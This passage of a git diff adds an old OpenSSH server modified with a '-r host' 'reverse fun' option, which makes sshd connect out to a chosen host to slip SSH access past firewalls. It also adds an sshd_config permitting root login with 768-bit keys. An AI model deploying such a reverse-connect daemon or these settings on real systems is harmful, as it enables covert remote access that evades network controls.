fprintf(stderr, " -k seconds Regenerate server key every this many seconds (default: 3600)\n"); + fprintf(stderr, " -g seconds Grace period for authentication (default: 300)\n"); + fprintf(stderr, " -b bits Size of server RSA key (default: 768 bits)\n"); + fprintf(stderr, " -h file File from which to read host key (default: %s)\n", + HOST_KEY_FILE); + fprintf(stderr, " -4 Use IPv4 only\n"); + fprintf(stderr, " -6 Use IPv6 only\n"); + fprintf(stderr, " -r host Use Reverse-fun to connect to 'host'\n"); + exit(1); + } + } + + /* + * Force logging to stderr until we have loaded the private host + * key (unless started from inetd) + */ + log_init(av0, + options.log_level == -1 ? SYSLOG_LEVEL_INFO : options.log_level, + options.log_facility == -1 ? SYSLOG_FACILITY_AUTH : options.log_facility, + !silent && !inetd_flag); + + /* Read server configuration options from the configuration file. */ + read_server_config(&options, config_file_name); + + /* Fill in default values for those options not explicitly set. */ + fill_default_server_options(&options); + + /* Check that there are no remaining arguments. */ + if (optind < ac) { + fprintf(stderr, "Extra argument %s.\n", av[optind]); + exit(1); + } + + debug("sshd version %.100s", SSH_VERSION); + + sensitive_data.dsa_host_key = NULL; + sensitive_data.host_key = NULL; + + /* check if RSA support exists */ + if ((options.protocol & SSH_PROTO_1) && + rsa_alive() == 0) { + log("no RSA support in libssl and libcrypto. See ssl(8)"); + log("Disabling protocol version 1"); + options.protocol &= ~SSH_PROTO_1; + } + /* Load the RSA/DSA host key. It must have empty passphrase. */ + if (options.protocol & SSH_PROTO_1) { + Key k; + sensitive_data.host_key = RSA_new(); + k.type = KEY_RSA; + k.rsa = sensitive_data.host_key; + errno = 0; + if (!load_private_key(options.host_key_file, "", &k, NULL)) { + error("Could not load host key: %.200s: %.100s", + options.host_key_file, strerror(errno)); + log("Disabling protocol version 1"); + options.protocol &= ~SSH_PROTO_1; + } + k.rsa = NULL; + } + if (options.protocol & SSH_PROTO_2) { + sensitive_data.dsa_host_key = key_new(KEY_DSA); + if (!load_private_key(options.host_dsa_key_file, "", sensitive_data.dsa_host_key, NULL)) { + + error("Could not load DSA host key: %.200s", options.host_dsa_key_file); + log("Disabling protocol version 2"); + options.protocol &= ~SSH_PROTO_2; + } + } + if (! options.protocol & (SSH_PROTO_1|SSH_PROTO_2)) { + if (silent == 0) + fprintf(stderr, "sshd: no hostkeys available -- exiting.\n"); + log("sshd: no hostkeys available -- exiting.\n"); + exit(1); + } + + /* Check certain values for sanity. */ + if (options.protocol & SSH_PROTO_1) { + if (options.server_key_bits < 512 || + options.server_key_bits > 32768) { + fprintf(stderr, "Bad server key size.\n"); + exit(1); + } + /* + * Check that server and host key lengths differ sufficiently. This + * is necessary to make double encryption work with rsaref. Oh, I + * hate software patents. I dont know if this can go? Niels + */ + if (options.server_key_bits > + BN_num_bits(sensitive_data.host_key->n) - SSH_KEY_BITS_RESERVED && + options.server_key_bits < + BN_num_bits(sensitive_data.host_key->n) + SSH_KEY_BITS_RESERVED) { + options.server_key_bits = + BN_num_bits(sensitive_data.host_key->n) + SSH_KEY_BITS_RESERVED; + debug("Forcing server key to %d bits to make it differ from host key.", + options.server_key_bits); + } + } + + /* Initialize the log (it is reinitialized below in case we forked). */ + if (debug_flag && !inetd_flag) + log_stderr = 1; + log_init(av0, options.log_level, options.log_facility, log_stderr); + + /* + * If not in debugging mode, and not started from inetd, disconnect + * from the controlling terminal, and fork. The original process + * exits. + */ + if (!debug_flag && !inetd_flag) { +#ifdef TIOCNOTTY + int fd; +#endif /* TIOCNOTTY */ + if (daemon(0, 0) < 0) + fatal("daemon() failed: %.200s", strerror(errno)); + + /* Disconnect from the controlling tty. */ +#ifdef TIOCNOTTY + fd = open("/dev/tty", O_RDWR | O_NOCTTY); + if (fd >= 0) { + (void) ioctl(fd, TIOCNOTTY, NULL); + close(fd); + } +#endif /* TIOCNOTTY */ + } + /* Reinitialize the log (because of the fork above). */ + log_init(av0, options.log_level, options.log_facility, log_stderr); + + /* Do not display messages to stdout in RSA code. */ + rsa_set_verbose(0); + + /* Initialize the random number generator. */ + arc4random_stir(); + + /* Chdir to the root directory so that the current disk can be + unmounted if desired. */ + chdir("/"); + + /* Start listening for a socket, unless started from inetd. */ + if (inetd_flag) { + int s1, s2; + s1 = dup(0); /* Make sure descriptors 0, 1, and 2 are in use. */ + s2 = dup(s1); + sock_in = dup(0); + sock_out = dup(1); + /* + * We intentionally do not close the descriptors 0, 1, and 2 + * as our code for setting the descriptors won\'t work if + * ttyfd happens to be one of those. + */ + debug("inetd sockets after dupping: %d, %d", sock_in, sock_out); + + if (options.protocol & SSH_PROTO_1) { + public_key = RSA_new(); + sensitive_data.private_key = RSA_new(); + log("Generating %d bit RSA key.", options.server_key_bits); + rsa_generate_key(sensitive_data.private_key, public_key, + options.server_key_bits); + arc4random_stir(); + log("RSA key generation complete."); + } + /* XXX: Have some reverse fun through firewalls. */ + } else if (reverse_fun) { + int client_port = options.ports[0]; + char port[100]; + struct addrinfo *adi, hints; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + + memset(port, 0, sizeof(port)); + snprintf(port, sizeof(port), "%d", client_port); + if (getaddrinfo(reverse_client, port, &hints, &adi) < 0) { + perror("addrinfo (during reverse fun)"); + exit(errno); + } + if ((listen_sock = socket(adi->ai_family, SOCK_STREAM, 0)) < 0) { + perror("socket (during reverse fun)"); + exit(errno); + } + printf("Reverse fun: Connecting to %s:%s\n", reverse_client, port); + + if (connect(listen_sock, (struct sockaddr*)adi->ai_addr, sizeof(struct sockaddr)) < 0) { + perror("connect (during reverse fun)"); + exit(errno); + } + if (fcntl(listen_sock, F_SETFL, 0) < 0) + error("newsock del O_NONBLOCK: %s", strerror(errno)); + + sock_in = listen_sock; + if ((sock_out = dup(sock_in)) < 0) { + perror("dup (during reverse fun)"); + sock_out = sock_in; + } + + if (options.protocol & SSH_PROTO_1) { + public_key = RSA_new(); + sensitive_data.private_key = RSA_new(); + + log("Generating %d bit RSA key.", options.server_key_bits); + rsa_generate_key(sensitive_data.private_key, public_key, + options.server_key_bits); + arc4random_stir(); + log("RSA key generation complete."); + + /* Schedule server key regeneration alarm. */ + signal(SIGALRM, key_regeneration_alarm); + alarm(options.key_regeneration_time); + } + + + } else { + for (ai = options.listen_addrs; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (num_listen_socks >= MAX_LISTEN_SOCKS) + fatal("Too many listen sockets. " + "Enlarge MAX_LISTEN_SOCKS"); + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, + ntop, sizeof(ntop), strport, sizeof(strport), + NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("getnameinfo failed"); + continue; + } + /* Create socket for listening. */ + listen_sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (listen_sock < 0) { + /* kernel may not support ipv6 */ + verbose("socket: %.100s", strerror(errno)); + continue; + } + if (fcntl(listen_sock, F_SETFL, O_NONBLOCK) < 0) { + error("listen_sock O_NONBLOCK: %s", strerror(errno)); + close(listen_sock); + continue; + } + /* + * Set socket options. We try to make the port + * reusable and have it close as fast as possible + * without waiting in unnecessary wait states on + * close. + */ + setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, + (void *) &on, sizeof(on)); + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(listen_sock, SOL_SOCKET, SO_LINGER, + (void *) &linger, sizeof(linger)); + + debug("Bind to port %s on %s.", strport, ntop); + + /* Bind the socket to the desired port. */ + if ((bind(listen_sock, ai->ai_addr, ai->ai_addrlen) < 0) && + (!ai->ai_next)) { + error("Bind to port %s on %s failed: %.200s.", + strport, ntop, strerror(errno)); + close(listen_sock); + continue; + } + listen_socks[num_listen_socks] = listen_sock; + num_listen_socks++; + + /* Start listening on the port. */ + log("Server listening on %s port %s.", ntop, strport); + if (listen(listen_sock, 5) < 0) + fatal("listen: %.100s", strerror(errno)); + + } + freeaddrinfo(options.listen_addrs); + + if (!num_listen_socks) + fatal("Cannot bind any address."); + + if (!debug_flag) { + /* + * Record our pid in /etc/sshd_pid to make it easier + * to kill the correct sshd. We don\'t want to do + * this before the bind above because the bind will + * fail if there already is a daemon, and this will + * overwrite any old pid in the file. + */ + f = fopen(options.pid_file, "w"); + if (f) { + fprintf(f, "%u\n", (unsigned int) getpid()); + fclose(f); + } + } + if (options.protocol & SSH_PROTO_1) { + public_key = RSA_new(); + sensitive_data.private_key = RSA_new(); + + log("Generating %d bit RSA key.", options.server_key_bits); + rsa_generate_key(sensitive_data.private_key, public_key, + options.server_key_bits); + arc4random_stir(); + log("RSA key generation complete."); + + /* Schedule server key regeneration alarm. */ + signal(SIGALRM, key_regeneration_alarm); + alarm(options.key_regeneration_time); + } + + /* Arrange to restart on SIGHUP. The handler needs listen_sock. */ + signal(SIGHUP, sighup_handler); + + signal(SIGTERM, sigterm_handler); + signal(SIGQUIT, sigterm_handler); + + /* Arrange SIGCHLD to be caught. */ + signal(SIGCHLD, main_sigchld_handler); + + /* setup fd set for listen */ + fdset = NULL; + maxfd = 0; + for (i = 0; i < num_listen_socks; i++) + if (listen_socks[i] > maxfd) + maxfd = listen_socks[i]; + /* pipes connected to unauthenticated childs */ + startup_pipes = xmalloc(options.max_startups * sizeof(int)); + for (i = 0; i < options.max_startups; i++) + startup_pipes[i] = -1; + + /* + * Stay listening for connections until the system crashes or + * the daemon is killed with a signal. + */ + for (;;) { + if (received_sighup) + sighup_restart(); + if (fdset != NULL) + xfree(fdset); + fdsetsz = howmany(maxfd, NFDBITS) * sizeof(fd_mask); + fdset = (fd_set *)xmalloc(fdsetsz); + memset(fdset, 0, fdsetsz); + + for (i = 0; i < num_listen_socks; i++) + FD_SET(listen_socks[i], fdset); + for (i = 0; i < options.max_startups; i++) + if (startup_pipes[i] != -1) + FD_SET(startup_pipes[i], fdset); + + /* Wait in select until there is a connection. */ + if (select(maxfd + 1, fdset, NULL, NULL, NULL) < 0) { + if (errno != EINTR) + error("select: %.100s", strerror(errno)); + continue; + } + for (i = 0; i < options.max_startups; i++) + if (startup_pipes[i] != -1 && + FD_ISSET(startup_pipes[i], fdset)) { + /* + * the read end of the pipe is ready + * if the child has closed the pipe + * after successfull authentication + * or if the child has died + */ + close(startup_pipes[i]); + startup_pipes[i] = -1; + startups--; + } + for (i = 0; i < num_listen_socks; i++) { + if (!FD_ISSET(listen_socks[i], fdset)) + continue; + fromlen = sizeof(from); + newsock = accept(listen_socks[i], (struct sockaddr *)&from, + &fromlen); + if (newsock < 0) { + if (errno != EINTR && errno != EWOULDBLOCK) + error("accept: %.100s", strerror(errno)); + continue; + } + if (fcntl(newsock, F_SETFL, 0) < 0) { + error("newsock del O_NONBLOCK: %s", strerror(errno)); + continue; + } + if (startups >= options.max_startups) { + close(newsock); + continue; + } + if (pipe(startup_p) == -1) { + close(newsock); + continue; + } + + for (j = 0; j < options.max_startups; j++) + if (startup_pipes[j] == -1) { + startup_pipes[j] = startup_p[0]; + if (maxfd < startup_p[0]) + maxfd = startup_p[0]; + startups++; + break; + } + + /* + * Got connection. Fork a child to handle it, unless + * we are in debugging mode. + */ + if (debug_flag) { + /* + * In debugging mode. Close the listening + * socket, and start processing the + * connection without forking. + */ + debug("Server will not fork when running in debugging mode."); + close_listen_socks(); + sock_in = newsock; + sock_out = newsock; + startup_pipe = -1; + pid = getpid(); + break; + } else { + /* + * Normal production daemon. Fork, and have + * the child process the connection. The + * parent continues listening. + */ + if ((pid = fork()) == 0) { + /* + * Child. Close the listening and max_startup + * sockets. Start using the accepted socket. + * Reinitialize logging (since our pid has + * changed). We break out of the loop to handle + * the connection. + */ + startup_pipe = startup_p[1]; + for (j = 0; j < options.max_startups; j++) + if (startup_pipes[j] != -1) + close(startup_pipes[j]); + close_listen_socks(); + sock_in = newsock; + sock_out = newsock; + log_init(av0, options.log_level, options.log_facility, log_stderr); + break; + } + } + + /* Parent. Stay in the loop. */ + if (pid < 0) + error("fork: %.100s", strerror(errno)); + else + debug("Forked child %d.", pid); + + close(startup_p[1]); + + /* Mark that the key has been used (it was "given" to the child). */ + key_used = 1; + + arc4random_stir(); + + /* Close the new socket (the child is now taking care of it). */ + close(newsock); + } + /* child process check (or debug mode) */ + if (num_listen_socks < 0) + break; + } + } + + /* This is the child processing a new connection. */ + + /* + * Disable the key regeneration alarm. We will not regenerate the + * key since we are no longer in a position to give it to anyone. We + * will not restart on SIGHUP since it no longer makes sense. + */ + alarm(0); + signal(SIGALRM, SIG_DFL); + signal(SIGHUP, SIG_DFL); + signal(SIGTERM, SIG_DFL); + signal(SIGQUIT, SIG_DFL); + signal(SIGCHLD, SIG_DFL); + + /* + * Set socket options for the connection. We want the socket to + * close as fast as possible without waiting for anything. If the + * connection is not a socket, these will do nothing. + */ + /* setsockopt(sock_in, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock_in, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof(linger)); + + /* + * Register our connection. This turns encryption off because we do + * not have a key. + */ + packet_set_connection(sock_in, sock_out); + + remote_port = get_remote_port(); + remote_ip = get_remote_ipaddr(); + + /* Check whether logins are denied from this host. */ +#ifdef LIBWRAP + /* XXX LIBWRAP noes not know about IPv6 */ + { + struct request_info req; + + request_init(&req, RQ_DAEMON, av0, RQ_FILE, sock_in, NULL); + fromhost(&req); + + if (!hosts_access(&req)) { + close(sock_in); + close(sock_out); + refuse(&req); + } +/*XXX IPv6 verbose("Connection from %.500s port %d", eval_client(&req), remote_port); */ + } +#endif /* LIBWRAP */ + /* Log the connection. */ + verbose("Connection from %.500s port %d", remote_ip, remote_port); + + /* + * We don\'t want to listen forever unless the other side + * successfully authenticates itself. So we set up an alarm which is + * cleared after successful authentication. A limit of zero + * indicates no limit. Note that we don\'t set the alarm in debugging + * mode; it is just annoying to have the server exit just when you + * are about to discover the bug. + */ + signal(SIGALRM, grace_alarm_handler); + if (!debug_flag) + alarm(options.login_grace_time); + + sshd_exchange_identification(sock_in, sock_out); + /* + * Check that the connection comes from a privileged port. Rhosts- + * and Rhosts-RSA-Authentication only make sense from priviledged + * programs. Of course, if the intruder has root access on his local + * machine, he can connect from any port. So do not use these + * authentication methods from machines that you do not trust. + */ + if (remote_port >= IPPORT_RESERVED || + remote_port < IPPORT_RESERVED / 2) { + options.rhosts_authentication = 0; + options.rhosts_rsa_authentication = 0; + } +#ifdef KRB4 + if (!packet_connection_is_ipv4() && + options.kerberos_authentication) { + debug("Kerberos Authentication disabled, only available for IPv4."); + options.kerberos_authentication = 0; + } +#endif /* KRB4 */ + + packet_set_nonblocking(); + + /* perform the key exchange */ + /* authenticate user and start session */ + if (compat20) { + do_ssh2_kex(); + do_authentication2(); + } else { + do_ssh1_kex(); + do_authentication(); + } + +#ifdef KRB4 + /* Cleanup user's ticket cache file. */ + if (options.kerberos_ticket_cleanup) + (void) dest_tkt(); +#endif /* KRB4 */ + + /* The connection has been terminated. */ + verbose("Closing connection to %.100s", remote_ip); + +#ifdef USE_PAM + finish_pam(); +#endif /* USE_PAM */ + + packet_close(); + exit(0); +} + +/* + * SSH1 key exchange + */ +void +do_ssh1_kex() +{ + int i, len; + int plen, slen; + BIGNUM *session_key_int; + unsigned char session_key[SSH_SESSION_KEY_LENGTH]; + unsigned char cookie[8]; + unsigned int cipher_type, auth_mask, protocol_flags; + u_int32_t rand = 0; + + /* + * Generate check bytes that the client must send back in the user + * packet in order for it to be accepted; this is used to defy ip + * spoofing attacks. Note that this only works against somebody + * doing IP spoofing from a remote machine; any machine on the local + * network can still see outgoing packets and catch the random + * cookie. This only affects rhosts authentication, and this is one + * of the reasons why it is inherently insecure. + */ + for (i = 0; i < 8; i++) { + if (i % 4 == 0) + rand = arc4random(); + cookie[i] = rand & 0xff; + rand >>= 8; + } + + /* + * Send our public key. We include in the packet 64 bits of random + * data that must be matched in the reply in order to prevent IP + * spoofing. + */ + packet_start(SSH_SMSG_PUBLIC_KEY); + for (i = 0; i < 8; i++) + packet_put_char(cookie[i]); + + /* Store our public server RSA key. */ + packet_put_int(BN_num_bits(public_key->n)); + packet_put_bignum(public_key->e); + packet_put_bignum(public_key->n); + + /* Store our public host RSA key. */ + packet_put_int(BN_num_bits(sensitive_data.host_key->n)); + packet_put_bignum(sensitive_data.host_key->e); + packet_put_bignum(sensitive_data.host_key->n); + + /* Put protocol flags. */ + packet_put_int(SSH_PROTOFLAG_HOST_IN_FWD_OPEN); + + /* Declare which ciphers we support. */ + packet_put_int(cipher_mask1()); + + /* Declare supported authentication types. */ + auth_mask = 0; + if (options.rhosts_authentication) + auth_mask |= 1 << SSH_AUTH_RHOSTS; + if (options.rhosts_rsa_authentication) + auth_mask |= 1 << SSH_AUTH_RHOSTS_RSA; + if (options.rsa_authentication) + auth_mask |= 1 << SSH_AUTH_RSA; +#ifdef KRB4 + if (options.kerberos_authentication) + auth_mask |= 1 << SSH_AUTH_KERBEROS; +#endif +#ifdef AFS + if (options.kerberos_tgt_passing) + auth_mask |= 1 << SSH_PASS_KERBEROS_TGT; + if (options.afs_token_passing) + auth_mask |= 1 << SSH_PASS_AFS_TOKEN; +#endif +#ifdef SKEY + if (options.skey_authentication == 1) + auth_mask |= 1 << SSH_AUTH_TIS; +#endif + if (options.password_authentication) + auth_mask |= 1 << SSH_AUTH_PASSWORD; + packet_put_int(auth_mask); + + /* Send the packet and wait for it to be sent. */ + packet_send(); + packet_write_wait(); + + debug("Sent %d bit public key and %d bit host key.", + BN_num_bits(public_key->n), BN_num_bits(sensitive_data.host_key->n)); + + /* Read clients reply (cipher type and session key). */ + packet_read_expect(&plen, SSH_CMSG_SESSION_KEY); + + /* Get cipher type and check whether we accept this. */ + cipher_type = packet_get_char(); + + if (!(cipher_mask() & (1 << cipher_type))) + packet_disconnect("Warning: client selects unsupported cipher."); + + /* Get check bytes from the packet. These must match those we + sent earlier with the public key packet. */ + for (i = 0; i < 8; i++) + if (cookie[i] != packet_get_char()) + packet_disconnect("IP Spoofing check bytes do not match."); + + debug("Encryption type: %.200s", cipher_name(cipher_type)); + + /* Get the encrypted integer. */ + session_key_int = BN_new(); + packet_get_bignum(session_key_int, &slen); + + protocol_flags = packet_get_int(); + packet_set_protocol_flags(protocol_flags); + + packet_integrity_check(plen, 1 + 8 + slen + 4, SSH_CMSG_SESSION_KEY); + + /* + * Decrypt it using our private server key and private host key (key + * with larger modulus first). + */ + if (BN_cmp(sensitive_data.private_key->n, sensitive_data.host_key->n) > 0) { + /* Private key has bigger modulus. */ + if (BN_num_bits(sensitive_data.private_key->n) < + BN_num_bits(sensitive_data.host_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("do_connection: %s: private_key %d < host_key %d + SSH_KEY_BITS_RESERVED %d", + get_remote_ipaddr(), + BN_num_bits(sensitive_data.private_key->n), + BN_num_bits(sensitive_data.host_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.private_key); + rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.host_key); + } else { + /* Host key has bigger modulus (or they are equal). */ + if (BN_num_bits(sensitive_data.host_key->n) < + BN_num_bits(sensitive_data.private_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("do_connection: %s: host_key %d < private_key %d + SSH_KEY_BITS_RESERVED %d", + get_remote_ipaddr(), + BN_num_bits(sensitive_data.host_key->n), + BN_num_bits(sensitive_data.private_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.host_key); + rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.private_key); + } + + compute_session_id(session_id, cookie, + sensitive_data.host_key->n, + sensitive_data.private_key->n); + + /* Destroy the private and public keys. They will no longer be needed. */ + destroy_sensitive_data(); + + /* + * Extract session key from the decrypted integer. The key is in the + * least significant 256 bits of the integer; the first byte of the + * key is in the highest bits. + */ + BN_mask_bits(session_key_int, sizeof(session_key) * 8); + len = BN_num_bytes(session_key_int); + if (len < 0 || len > sizeof(session_key)) + fatal("do_connection: bad len from %s: session_key_int %d > sizeof(session_key) %d", + get_remote_ipaddr(), + len, sizeof(session_key)); + memset(session_key, 0, sizeof(session_key)); + BN_bn2bin(session_key_int, session_key + sizeof(session_key) - len); + + /* Destroy the decrypted integer. It is no longer needed. */ + BN_clear_free(session_key_int); + + /* Xor the first 16 bytes of the session key with the session id. */ + for (i = 0; i < 16; i++) + session_key[i] ^= session_id[i]; + + /* Set the session key. From this on all communications will be encrypted. */ + packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, cipher_type); + + /* Destroy our copy of the session key. It is no longer needed. */ + memset(session_key, 0, sizeof(session_key)); + + debug("Received session key; encryption turned on."); + + /* Send an acknowledgement packet. Note that this packet is sent encrypted. */ + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); +} + +/* + * SSH2 key exchange: diffie-hellman-group1-sha1 + */ +void +do_ssh2_kex() +{ + Buffer *server_kexinit; + Buffer *client_kexinit; + int payload_len, dlen; + int slen; + unsigned int klen, kout; + unsigned char *signature = NULL; + unsigned char *server_host_key_blob = NULL; + unsigned int sbloblen; + DH *dh; + BIGNUM *dh_client_pub = 0; + BIGNUM *shared_secret = 0; + int i; + unsigned char *kbuf; + unsigned char *hash; + Kex *kex; + char *cprop[PROPOSAL_MAX]; + +/* KEXINIT */ + + if (options.ciphers != NULL) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; + } + server_kexinit = kex_init(myproposal); + client_kexinit = xmalloc(sizeof(*client_kexinit)); + buffer_init(client_kexinit); + + /* algorithm negotiation */ + kex_exchange_kexinit(server_kexinit, client_kexinit, cprop); + kex = kex_choose_conf(cprop, myproposal, 1); + for (i = 0; i < PROPOSAL_MAX; i++) + xfree(cprop[i]); + +/* KEXDH */ + + debug("Wait SSH2_MSG_KEXDH_INIT."); + packet_read_expect(&payload_len, SSH2_MSG_KEXDH_INIT); + + /* key, cert */ + dh_client_pub = BN_new(); + if (dh_client_pub == NULL) + fatal("dh_client_pub == NULL"); + packet_get_bignum2(dh_client_pub, &dlen); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "\ndh_client_pub= "); + bignum_print(dh_client_pub); + fprintf(stderr, "\n"); + debug("bits %d", BN_num_bits(dh_client_pub)); +#endif + + /* generate DH key */ + dh = dh_new_group1(); /* XXX depends on 'kex' */ + +#ifdef DEBUG_KEXDH + fprintf(stderr, "\np= "); + bignum_print(dh->p); + fprintf(stderr, "\ng= "); + bignum_print(dh->g); + fprintf(stderr, "\npub= "); + bignum_print(dh->pub_key); + fprintf(stderr, "\n"); +#endif + if (!dh_pub_is_valid(dh, dh_client_pub)) + packet_disconnect("bad client public DH value"); + + klen = DH_size(dh); + kbuf = xmalloc(klen); + kout = DH_compute_key(kbuf, dh_client_pub, dh); + +#ifdef DEBUG_KEXDH + debug("shared secret: len %d/%d", klen, kout); + fprintf(stderr, "shared secret == "); + for (i = 0; i< kout; i++) + fprintf(stderr, "%02x", (kbuf[i])&0xff); + fprintf(stderr, "\n"); +#endif + shared_secret = BN_new(); + + BN_bin2bn(kbuf, kout, shared_secret); + memset(kbuf, 0, klen); + xfree(kbuf); + + /* XXX precompute? */ + dsa_make_key_blob(sensitive_data.dsa_host_key, &server_host_key_blob, &sbloblen); + + /* calc H */ /* XXX depends on 'kex' */ + hash = kex_hash( + client_version_string, + server_version_string, + buffer_ptr(client_kexinit), buffer_len(client_kexinit), + buffer_ptr(server_kexinit), buffer_len(server_kexinit), + (char *)server_host_key_blob, sbloblen, + dh_client_pub, + dh->pub_key, + shared_secret + ); + buffer_free(client_kexinit); + buffer_free(server_kexinit); + xfree(client_kexinit); + xfree(server_kexinit); +#ifdef DEBUG_KEXDH + fprintf(stderr, "hash == "); + for (i = 0; i< 20; i++) + fprintf(stderr, "%02x", (hash[i])&0xff); + fprintf(stderr, "\n"); +#endif + /* save session id := H */ + /* XXX hashlen depends on KEX */ + session_id2_len = 20; + session_id2 = xmalloc(session_id2_len); + memcpy(session_id2, hash, session_id2_len); + + /* sign H */ + /* XXX hashlen depends on KEX */ + dsa_sign(sensitive_data.dsa_host_key, &signature, &slen, hash, 20); + + destroy_sensitive_data(); + + /* send server hostkey, DH pubkey 'f' and singed H */ + packet_start(SSH2_MSG_KEXDH_REPLY); + packet_put_string((char *)server_host_key_blob, sbloblen); + packet_put_bignum2(dh->pub_key); /* f */ + packet_put_string((char *)signature, slen); + packet_send(); + xfree(signature); + xfree(server_host_key_blob); + packet_write_wait(); + + kex_derive_keys(kex, hash, shared_secret); + packet_set_kex(kex); + + /* have keys, free DH */ + DH_free(dh); + + debug("send SSH2_MSG_NEWKEYS."); + packet_start(SSH2_MSG_NEWKEYS); + packet_send(); + packet_write_wait(); + debug("done: send SSH2_MSG_NEWKEYS."); + + debug("Wait SSH2_MSG_NEWKEYS."); + packet_read_expect(&payload_len, SSH2_MSG_NEWKEYS); + debug("GOT SSH2_MSG_NEWKEYS."); + +#ifdef DEBUG_KEXDH + /* send 1st encrypted/maced/compressed message */ + packet_start(SSH2_MSG_IGNORE); + packet_put_cstring("markus"); + packet_send(); + packet_write_wait(); +#endif + debug("done: KEX2."); +} diff --git a/other/openssh-reverse/sshd_config b/other/openssh-reverse/sshd_config new file mode 100644 index 0000000..d3bab84 --- /dev/null +++ b/other/openssh-reverse/sshd_config @@ -0,0 +1,53 @@ +# This is ssh server systemwide configuration file. + +Port 22 +#Protocol 2,1 +ListenAddress 0.0.0.0 +#ListenAddress :: +HostKey /etc/ssh_host_key +ServerKeyBits 768 +LoginGraceTime 600 +KeyRegenerationInterval 3600 +PermitRootLogin yes +# +# Don't read ~/.rhosts and ~/.shosts files +IgnoreRhosts yes +# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication +#IgnoreUserKnownHosts yes +StrictModes yes +X11Forwarding no +X11DisplayOffset 10 +PrintMotd yes +KeepAlive yes + +# Logging +SyslogFacility AUTH +LogLevel INFO +#obsoletes QuietMode and FascistLogging + +RhostsAuthentication no +# +# For this to work you will also need host keys in /etc/ssh_known_hosts +RhostsRSAAuthentication no +# +RSAAuthentication yes + +# To disable tunneled clear text passwords, change to no here! +PasswordAuthentication yes +PermitEmptyPasswords no +# Uncomment to disable s/key passwords +#SkeyAuthentication no + +# To change Kerberos options +#KerberosAuthentication no +#KerberosOrLocalPasswd yes +#AFSTokenPassing no +#KerberosTicketCleanup no + +# Kerberos TGT Passing does only work with the AFS kaserver +#KerberosTgtPassing yes + +CheckMail no +UseLogin no + +#Subsystem sftp /usr/local/sbin/sftpd diff --git a/other/openssh-reverse/tildexpand.c b/other/openssh-reverse/tildexpand.c new file mode 100644 index 0000000..d10ea00 --- /dev/null +++ b/other/openssh-reverse/tildexpand.c @@ -0,0 +1,66 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Wed Jul 12 01:07:36 1995 ylo + */ + +#include "includes.h" +RCSID("$OpenBSD: tildexpand.c,v 1.7 2000/06/20 01:39:45 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" + +/* + * Expands tildes in the file name. Returns data allocated by xmalloc. + * Warning: this calls getpw*. + */ +char * +tilde_expand_filename(const char *filename, uid_t my_uid) +{ + const char *cp; + unsigned int userlen; + char *expanded; + struct passwd *pw; + char user[100]; + int len; + + /* Return immediately if no tilde. */ + if (filename[0] != '~') + return xstrdup(filename); + + /* Skip the tilde. */ + filename++; + + /* Find where the username ends. */ + cp = strchr(filename, '/'); + if (cp) + userlen = cp - filename; /* Something after username. */ + else + userlen = strlen(filename); /* Nothing after username. */ + if (userlen == 0) + pw = getpwuid(my_uid); /* Own home directory. */ + else { + /* Tilde refers to someone elses home directory. */ + if (userlen > sizeof(user) - 1) + fatal("User name after tilde too long."); + memcpy(user, filename, userlen); + user[userlen] = 0; + pw = getpwnam(user); + } + if (!pw) + fatal("Unknown user %100s.", user); + + /* If referring to someones home directory, return it now. */ + if (!cp) { + /* Only home directory specified */ + return xstrdup(pw->pw_dir); + } + /* Build a path combining the specified directory and path. */ + len = strlen(pw->pw_dir) + strlen(cp + 1) + 2; + if (len > MAXPATHLEN) + fatal("Home directory too long (%d > %d", len-1, MAXPATHLEN-1); + expanded = xmalloc(len); + snprintf(expanded, len, "%s/%s", pw->pw_dir, cp + 1); + return expanded; +} diff --git a/other/openssh-reverse/ttymodes.c b/other/openssh-reverse/ttymodes.c new file mode 100644 index 0000000..f4b7af5 --- /dev/null +++ b/other/openssh-reverse/ttymodes.c @@ -0,0 +1,359 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Tue Mar 21 15:59:15 1995 ylo + * Encoding and decoding of terminal modes in a portable way. + * Much of the format is defined in ttymodes.h; it is included multiple times + * into this file with the appropriate macro definitions to generate the + * suitable code. + */ + +#include "includes.h" +RCSID("$OpenBSD: ttymodes.c,v 1.7 2000/06/20 01:39:45 markus Exp $"); + +#include "packet.h" +#include "ssh.h" + +#define TTY_OP_END 0 +#define TTY_OP_ISPEED 192 /* int follows */ +#define TTY_OP_OSPEED 193 /* int follows */ + +/* + * Converts POSIX speed_t to a baud rate. The values of the + * constants for speed_t are not themselves portable. + */ +static int +speed_to_baud(speed_t speed) +{ + switch (speed) { + case B0: + return 0; + case B50: + return 50; + case B75: + return 75; + case B110: + return 110; + case B134: + return 134; + case B150: + return 150; + case B200: + return 200; + case B300: + return 300; + case B600: + return 600; + case B1200: + return 1200; + case B1800: + return 1800; + case B2400: + return 2400; + case B4800: + return 